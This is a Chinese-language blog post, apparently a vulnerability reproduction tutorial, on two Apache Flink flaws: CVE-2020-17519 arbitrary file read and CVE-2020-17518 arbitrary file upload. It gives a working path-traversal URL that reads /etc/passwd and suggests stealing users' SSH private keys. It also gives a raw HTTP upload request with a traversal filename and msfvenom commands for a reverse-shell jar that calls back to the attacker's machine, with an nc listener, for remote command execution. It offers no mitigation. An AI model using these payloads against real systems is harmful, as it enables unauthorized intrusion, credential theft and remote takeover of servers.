本篇文章为大家展示了Apache Flink任意文件读取的CVE-2020-17519漏洞分析是怎样的,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
一、任意文件读取(CVE-2020-17519)
访问:http://your-ip:8081进入Apache Flink 控制面板:
在地址栏使用poc:
http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
读取/etc/passwd文件:
测试中发现在读取/etc/shadow文件不可行,存在权限问题,访问会直接报错:
但是可以尝试利用任意文件读取尝试去读取/home目录下的用户的.ssh文件夹的ssh私钥来进行ssh登录,再进行提取操作。(笔者未进行尝试,各位看官可以根据这个思路探索一哈)
二、任意文件上传(CVE-2020-17518)
Apache Flink 控制面板的Submit New Job处存在任意文件上传:
使用POC:
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
进入查看测试环境查看已经成功上传了success:
另外我们还可以上传上传jar马实现反弹监听从而进行远程命令执行
首先我们使用kali的MSF生成jar马:
msfvenom -p java/shell_reverse_tcp lhost=192.168.153.6 lport=5555 -f jar >/home/kali/Desktop/shell.jar
其中lhost为本地机器的IP,lport为反弹的端口。
可以看到成功生成了jar马(shell.jar)
然后本地机器新建命令行窗口,使用nc进行端口监听:nc -lvvp 5555
最后把生成的jar马通过Submit New Job模块进行上传:
点击Submit即可实现jar马反弹监听:
执行远程命令:
这里看到他的启动不是root用户,更能验证任意读取文件时读取shadow文件报错,跟权限问题相关的。
上述内容就是Apache Flink任意文件读取的CVE-2020-17519漏洞分析是怎样的,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。
原创文章,作者:506227337,如若转载,请注明出处:https://blog.ytso.com/221477.html